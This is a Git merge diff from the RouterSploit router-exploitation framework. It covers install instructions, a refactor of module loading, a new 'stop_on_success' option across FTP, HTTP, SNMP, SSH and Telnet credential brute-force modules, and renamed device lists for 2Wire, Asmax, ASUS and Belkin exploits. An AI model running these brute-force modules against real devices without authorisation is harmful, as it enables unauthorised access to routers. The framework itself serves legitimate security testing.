Unverified Commit 38e2e0b4 by Allon Hadaya

Merge remote-tracking branch 'origin/new_loading_mechanism' into module-tests

parents 7bf6cd90 d77f961b
...@@ -14,11 +14,36 @@ It consists of various modules that aids penetration testing operations: ...@@ -14,11 +14,36 @@ It consists of various modules that aids penetration testing operations:
# Installation # Installation
## Requirements
* gnureadline
* requests
* paramiko
* beautifulsoup4
* pysnmp
## Installation on Kali
git clone https://github.com/reverse-shell/routersploit
cd routersploit
./rsf.py
## Installation on Ubuntu
sudo apt-get install python-dev python-pip libncurses5-dev git
git clone https://github.com/reverse-shell/routersploit git clone https://github.com/reverse-shell/routersploit
cd routersploit cd routersploit
pip install -r requirements.txt pip install -r requirements.txt
./rsf.py ./rsf.py
## Installation on OSX
git clone https://github.com/reverse-shell/routersploit
cd routersploit
sudo easy_install pip
sudo pip install -r requirements.txt
./rsf.py
# Update # Update
Update RouterSploit Framework often. Project is under heavy development and new modules are shipped almost everyday. Update RouterSploit Framework often. Project is under heavy development and new modules are shipped almost everyday.
...@@ -101,7 +126,7 @@ Display information about exploit: ...@@ -101,7 +126,7 @@ Display information about exploit:
Description: Description:
Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges. Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.
Targets: Devices:
- D-Link DIR 300 - D-Link DIR 300
- D-Link DIR 600 - D-Link DIR 600
......
...@@ -11,6 +11,7 @@ from routersploit.utils import ( ...@@ -11,6 +11,7 @@ from routersploit.utils import (
boolify, boolify,
mute, mute,
multi, multi,
index_modules,
) )
from routersploit import exploits from routersploit import exploits
......
...@@ -3,13 +3,9 @@ import os ...@@ -3,13 +3,9 @@ import os
import sys import sys
import traceback import traceback
import atexit import atexit
import importlib
import inspect
from routersploit.exceptions import RoutersploitException from routersploit.exceptions import RoutersploitException
from routersploit.exploits import Exploit
from routersploit import utils from routersploit import utils
from routersploit import modules as rsf_modules
if sys.platform == "darwin": if sys.platform == "darwin":
import gnureadline as readline import gnureadline as readline
...@@ -158,13 +154,11 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -158,13 +154,11 @@ class RoutersploitInterpreter(BaseInterpreter):
self.raw_prompt_template = None self.raw_prompt_template = None
self.module_prompt_template = None self.module_prompt_template = None
self.prompt_hostname = 'rsf' self.prompt_hostname = 'rsf'
self.modules_directory = rsf_modules.__path__[0]
self.modules = [] self.modules = utils.index_modules()
self.modules_with_errors = {} self.main_modules_dirs = [module for module in os.listdir(utils.MODULES_DIR) if not module.startswith("__")]
self.main_modules_dirs = []
self.__parse_prompt() self.__parse_prompt()
self.load_modules()
self.banner = """ ______ _ _____ _ _ _ self.banner = """ ______ _ _____ _ _ _
| ___ \ | | / ___| | | (_) | | ___ \ | | / ___| | | (_) |
...@@ -182,34 +176,12 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -182,34 +176,12 @@ class RoutersploitInterpreter(BaseInterpreter):
Total module count: {modules_count} Total module count: {modules_count}
""".format(modules_count=len(self.modules)) """.format(modules_count=len(self.modules))
def load_modules(self):
self.main_modules_dirs = [module for module in os.listdir(self.modules_directory) if not module.startswith("__")]
self.modules = []
self.modules_with_errors = {}
for root, dirs, files in os.walk(self.modules_directory):
_, package, root = root.rpartition('routersploit')
root = "".join((package, root)).replace(os.sep, '.')
modules = map(lambda x: '.'.join((root, os.path.splitext(x)[0])), filter(lambda x: x.endswith('.py'), files))
for module_path in modules:
try:
module = importlib.import_module(module_path)
except ImportError as error:
self.modules_with_errors[module_path] = error
else:
klasses = inspect.getmembers(module, inspect.isclass)
exploits = filter(lambda x: issubclass(x[1], Exploit), klasses)
# exploits = map(lambda x: '.'.join([module_path.split('.', 2).pop(), x[0]]), exploits)
# self.modules.extend(exploits)
if exploits:
self.modules.append(module_path.split('.', 2).pop())
def __parse_prompt(self): def __parse_prompt(self):
raw_prompt_default_template = "\033[4m{host}\033[0m > " raw_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 > "
raw_prompt_template = os.getenv("RSF_RAW_PROMPT", raw_prompt_default_template).replace('\\033', '\033') raw_prompt_template = os.getenv("RSF_RAW_PROMPT", raw_prompt_default_template).replace('\\033', '\033')
self.raw_prompt_template = raw_prompt_template if '{host}' in raw_prompt_template else raw_prompt_default_template self.raw_prompt_template = raw_prompt_template if '{host}' in raw_prompt_template else raw_prompt_default_template
module_prompt_default_template = "\033[4m{host}\033[0m (\033[91m{module}\033[0m) > " module_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 (\001\033[91m\002{module}\001\033[0m\002) > "
module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033') module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033')
self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template
...@@ -259,9 +231,9 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -259,9 +231,9 @@ class RoutersploitInterpreter(BaseInterpreter):
:return: list of most accurate command suggestions :return: list of most accurate command suggestions
""" """
if self.current_module: if self.current_module:
return ['run', 'back', 'set ', 'show ', 'check', 'debug', 'exit'] return ['run', 'back', 'set ', 'show ', 'check', 'exit']
else: else:
return ['use ', 'debug', 'exit'] return ['use ', 'exit']
def command_back(self, *args, **kwargs): def command_back(self, *args, **kwargs):
self.current_module = None self.current_module = None
...@@ -271,12 +243,9 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -271,12 +243,9 @@ class RoutersploitInterpreter(BaseInterpreter):
module_path = '.'.join(('routersploit', 'modules', module_path)) module_path = '.'.join(('routersploit', 'modules', module_path))
# module_path, _, exploit_name = module_path.rpartition('.') # module_path, _, exploit_name = module_path.rpartition('.')
try: try:
module = importlib.import_module(module_path) self.current_module = utils.import_exploit(module_path)()
self.current_module = getattr(module, 'Exploit')() except RoutersploitException as err:
except (ImportError, AttributeError, KeyError): utils.print_error(err.message)
utils.print_error("Error during loading '{}' module. "
"It should be valid path to the module. "
"Use <tab> key multiple times for completion.".format(utils.humanize_path(module_path)))
@utils.stop_after(2) @utils.stop_after(2)
def complete_use(self, text, *args, **kwargs): def complete_use(self, text, *args, **kwargs):
...@@ -331,12 +300,12 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -331,12 +300,12 @@ class RoutersploitInterpreter(BaseInterpreter):
@utils.module_required @utils.module_required
def command_show(self, *args, **kwargs): def command_show(self, *args, **kwargs):
info, options = 'info', 'options' info, options, devices = 'info', 'options', 'devices'
sub_command = args[0] sub_command = args[0]
if sub_command == info: if sub_command == info:
utils.pprint_dict_in_order( utils.pprint_dict_in_order(
self.module_metadata, self.module_metadata,
("name", "description", "targets", "authors", "references"), ("name", "description", "devices", "authors", "references"),
) )
utils.print_info() utils.print_info()
elif sub_command == options: elif sub_command == options:
...@@ -352,12 +321,27 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -352,12 +321,27 @@ class RoutersploitInterpreter(BaseInterpreter):
utils.print_table(headers, *self.get_opts(*module_opts)) utils.print_table(headers, *self.get_opts(*module_opts))
utils.print_info() utils.print_info()
elif sub_command == devices:
if devices in self.current_module._Exploit__info__.keys():
devices = self.current_module._Exploit__info__['devices']
print("\nTarget devices:")
i = 0
for device in devices:
if isinstance(device, dict):
print(" {} - {}".format(i, device['name']))
else:
print(" {} - {}".format(i, device))
i += 1
print()
else:
print("\nTarget devices are not defined")
else: else:
print("Unknown command 'show {}'. You want to 'show {}' or 'show {}'?".format(sub_command, info, options)) print("Unknown command 'show {}'. You want to 'show {}' or 'show {}'?".format(sub_command, info, options))
@utils.stop_after(2) @utils.stop_after(2)
def complete_show(self, text, *args, **kwargs): def complete_show(self, text, *args, **kwargs):
sub_commands = ['info', 'options'] sub_commands = ['info', 'options', 'devices']
if text: if text:
return filter(lambda command: command.startswith(text), sub_commands) return filter(lambda command: command.startswith(text), sub_commands)
else: else:
...@@ -377,10 +361,5 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -377,10 +361,5 @@ class RoutersploitInterpreter(BaseInterpreter):
else: else:
utils.print_status("Target could not be verified") utils.print_status("Target could not be verified")
def command_debug(self, *args, **kwargs):
for key, value in self.modules_with_errors.iteritems():
utils.print_info(key)
utils.print_error(value, '\n')
def command_exit(self, *args, **kwargs): def command_exit(self, *args, **kwargs):
raise KeyboardInterrupt raise KeyboardInterrupt
...@@ -35,6 +35,7 @@ class Exploit(exploits.Exploit): ...@@ -35,6 +35,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)') usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -107,7 +108,9 @@ class Exploit(exploits.Exploit): ...@@ -107,7 +108,9 @@ class Exploit(exploits.Exploit):
try: try:
ftp.login(user, password) ftp.login(user, password)
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
except: except:
......
...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads') threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass pair or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass pair or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -99,7 +100,9 @@ class Exploit(exploits.Exploit): ...@@ -99,7 +100,9 @@ class Exploit(exploits.Exploit):
try: try:
ftp.login(user, password) ftp.login(user, password)
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
except: except:
......
...@@ -36,6 +36,7 @@ class Exploit(exploits.Exploit): ...@@ -36,6 +36,7 @@ class Exploit(exploits.Exploit):
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
path = exploits.Option('/', 'URL Path') path = exploits.Option('/', 'URL Path')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -92,7 +93,9 @@ class Exploit(exploits.Exploit): ...@@ -92,7 +93,9 @@ class Exploit(exploits.Exploit):
response = http_request(method="GET", url=url, auth=(user, password)) response = http_request(method="GET", url=url, auth=(user, password))
if response.status_code != 401: if response.status_code != 401:
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
......
...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
path = exploits.Option('/', 'URL Path') path = exploits.Option('/', 'URL Path')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -85,7 +86,9 @@ class Exploit(exploits.Exploit): ...@@ -85,7 +86,9 @@ class Exploit(exploits.Exploit):
response = http_request(method="GET", url=url, auth=(user, password)) response = http_request(method="GET", url=url, auth=(user, password))
if response.status_code != 401: if response.status_code != 401:
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
......
...@@ -34,10 +34,11 @@ class Exploit(exploits.Exploit): ...@@ -34,10 +34,11 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Number of threads') threads = exploits.Option(8, 'Number of threads')
usernames = exploits.Option('admin', 'Username or file with usernames (file://)') usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit') form = exploits.Option('auto', 'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit')
path = exploits.Option('/login.php', 'URL Path') path = exploits.Option('/login.php', 'URL Path')
form_path = exploits.Option('same', 'same as path or URL Form Path') form_path = exploits.Option('same', 'same as path or URL Form Path')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
data = "" data = ""
...@@ -172,7 +173,9 @@ class Exploit(exploits.Exploit): ...@@ -172,7 +173,9 @@ class Exploit(exploits.Exploit):
l = len(r.text) l = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]: if l < self.invalid["min"] or l > self.invalid["max"]:
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
......
...@@ -32,10 +32,11 @@ class Exploit(exploits.Exploit): ...@@ -32,10 +32,11 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target port') port = exploits.Option(80, 'Target port')
threads = exploits.Option(8, 'Number of threads') threads = exploits.Option(8, 'Number of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
form = exploits.Option('auto', 'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit') form = exploits.Option('auto', 'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit')
path = exploits.Option('/login.php', 'URL Path') path = exploits.Option('/login.php', 'URL Path')
form_path = exploits.Option('same', 'same as path or URL Form Path') form_path = exploits.Option('same', 'same as path or URL Form Path')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
data = "" data = ""
...@@ -165,7 +166,9 @@ class Exploit(exploits.Exploit): ...@@ -165,7 +166,9 @@ class Exploit(exploits.Exploit):
l = len(r.text) l = len(r.text)
if l < self.invalid["min"] or l > self.invalid["max"]: if l < self.invalid["min"] or l > self.invalid["max"]:
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
......
import threading import threading
import netsnmp from pysnmp.entity.rfc3413.oneliner import cmdgen
from routersploit import ( from routersploit import (
exploits, exploits,
...@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit): ...@@ -21,7 +21,7 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'SNMP Bruteforce', 'name': 'SNMP Bruteforce',
'author': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module 'authors': 'Marcin Bury <marcin.bury[at]reverse-shell.com>' # routersploit module
} }
target = exploits.Option('', 'Target IP address or file with target:port (file://)') target = exploits.Option('', 'Target IP address or file with target:port (file://)')
...@@ -29,7 +29,7 @@ class Exploit(exploits.Exploit): ...@@ -29,7 +29,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Number of threads') threads = exploits.Option(8, 'Number of threads')
snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)') snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid community string')
strings = [] strings = []
def run(self): def run(self):
...@@ -59,23 +59,27 @@ class Exploit(exploits.Exploit): ...@@ -59,23 +59,27 @@ class Exploit(exploits.Exploit):
def target_function(self, running, data): def target_function(self, running, data):
module_verbosity = boolify(self.verbosity) module_verbosity = boolify(self.verbosity)
name = threading.current_thread().name name = threading.current_thread().name
address = "{}:{}".format(self.target, self.port)
print_status(name, 'thread is starting...', verbose=module_verbosity) print_status(name, 'thread is starting...', verbose=module_verbosity)
cmdGen = cmdgen.CommandGenerator()
while running.is_set(): while running.is_set():
try: try:
string = data.next().strip() string = data.next().strip()
bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0") errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
res = netsnmp.snmpget(bindvariable, Version=1, DestHost=address, Community=string) cmdgen.CommunityData(string),
cmdgen.UdpTransportTarget((self.target, int(self.port))),
'1.3.6.1.2.1.1.1.0',
)
if res[0] is not None: if errorIndication or errorStatus:
running.clear() print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
else:
if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Valid community string found - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity) print_success("Target: {}:{} {}: Valid community string found - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
self.strings.append((self.target, self.port, string)) self.strings.append((self.target, self.port, string))
else:
print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity)
except StopIteration: except StopIteration:
break break
......
...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -33,6 +33,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)') usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -95,10 +96,10 @@ class Exploit(exploits.Exploit): ...@@ -95,10 +96,10 @@ class Exploit(exploits.Exploit):
ssh.close() ssh.close()
print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity)
else: else:
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
print_status(name, 'thread is terminated.', verbose=module_verbosity) print_status(name, 'thread is terminated.', verbose=module_verbosity)
...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit): ...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads') threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -90,10 +91,10 @@ class Exploit(exploits.Exploit): ...@@ -90,10 +91,10 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity)
else: else:
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
print_status(name, 'process is terminated.', verbose=module_verbosity) print_status(name, 'process is terminated.', verbose=module_verbosity)
...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit): ...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
usernames = exploits.Option('admin', 'Username or file with usernames (file://)') usernames = exploits.Option('admin', 'Username or file with usernames (file://)')
passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -100,7 +101,9 @@ class Exploit(exploits.Exploit): ...@@ -100,7 +101,9 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
else: else:
if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
tn.close() tn.close()
......
...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit): ...@@ -32,6 +32,7 @@ class Exploit(exploits.Exploit):
threads = exploits.Option(8, 'Numbers of threads') threads = exploits.Option(8, 'Numbers of threads')
defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)')
verbosity = exploits.Option('yes', 'Display authentication attempts') verbosity = exploits.Option('yes', 'Display authentication attempts')
stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt')
credentials = [] credentials = []
...@@ -94,7 +95,9 @@ class Exploit(exploits.Exploit): ...@@ -94,7 +95,9 @@ class Exploit(exploits.Exploit):
print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
else: else:
if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik
running.clear() if boolify(self.stop_on_success):
running.clear()
print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity)
self.credentials.append((self.target, self.port, user, password)) self.credentials.append((self.target, self.port, user, password))
tn.close() tn.close()
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://www.exploit-db.com/exploits/9459/', 'https://www.exploit-db.com/exploits/9459/',
], ],
'targets': [ 'devices': [
'2Wire 2701HGV-W', '2Wire 2701HGV-W',
'2Wire 3800HGV-B', '2Wire 3800HGV-B',
'2Wire 3801HGV', '2Wire 3801HGV',
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt', 'https://github.com/lucyoa/exploits/blob/master/asmax/asmax.txt',
], ],
'targets': [ 'devices': [
'Asmax AR 1004g', 'Asmax AR 1004g',
], ],
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise', 'http://www.securitum.pl/dh/asmax-ar-804-gu-compromise',
'https://www.exploit-db.com/exploits/8846/', 'https://www.exploit-db.com/exploits/8846/',
], ],
'targets': [ 'devices': [
'Asmax AR 804 gu', 'Asmax AR 804 gu',
], ],
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://github.com/jduck/asus-cmd', 'https://github.com/jduck/asus-cmd',
], ],
'targets': [ 'devices': [
'ASUS RT-N66U', 'ASUS RT-N66U',
'ASUS RT-AC87U', 'ASUS RT-AC87U',
'ASUS RT-N56U', 'ASUS RT-N56U',
......
...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit): ...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://sintonen.fi/advisories/asus-router-auth-bypass.txt' 'https://sintonen.fi/advisories/asus-router-auth-bypass.txt'
], ],
'targets': [ 'devices': [
'ASUS RT-N10U, firmware 3.0.0.4.374_168', 'ASUS RT-N10U, firmware 3.0.0.4.374_168',
'ASUS RT-N56U, firmware 3.0.0.4.374_979', 'ASUS RT-N56U, firmware 3.0.0.4.374_979',
'ASUS DSL-N55U, firmware 3.0.0.4.374_1397', 'ASUS DSL-N55U, firmware 3.0.0.4.374_1397',
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2765', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2765',
'https://www.exploit-db.com/exploits/17349/', 'https://www.exploit-db.com/exploits/17349/',
], ],
'targets': [ 'devices': [
'Belkin G', 'Belkin G',
'Belkin N150', 'Belkin N150',
], ],
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0403', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0403',
'https://www.exploit-db.com/exploits/4941/', 'https://www.exploit-db.com/exploits/4941/',
], ],
'targets': [ 'devices': [
'Belkin G', 'Belkin G',
], ],
} }
......
...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit): ...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'http://www.belkin.com/us/support-article?articleNum=109400', 'http://www.belkin.com/us/support-article?articleNum=109400',
'http://www.kb.cert.org/vuls/id/774788', 'http://www.kb.cert.org/vuls/id/774788',
], ],
'targets': [ 'devices': [
'Belkin N150 1.00.07', 'Belkin N150 1.00.07',
'Belkin N150 1.00.08', 'Belkin N150 1.00.08',
'Belkin N150 1.00.09', 'Belkin N150 1.00.09',
......
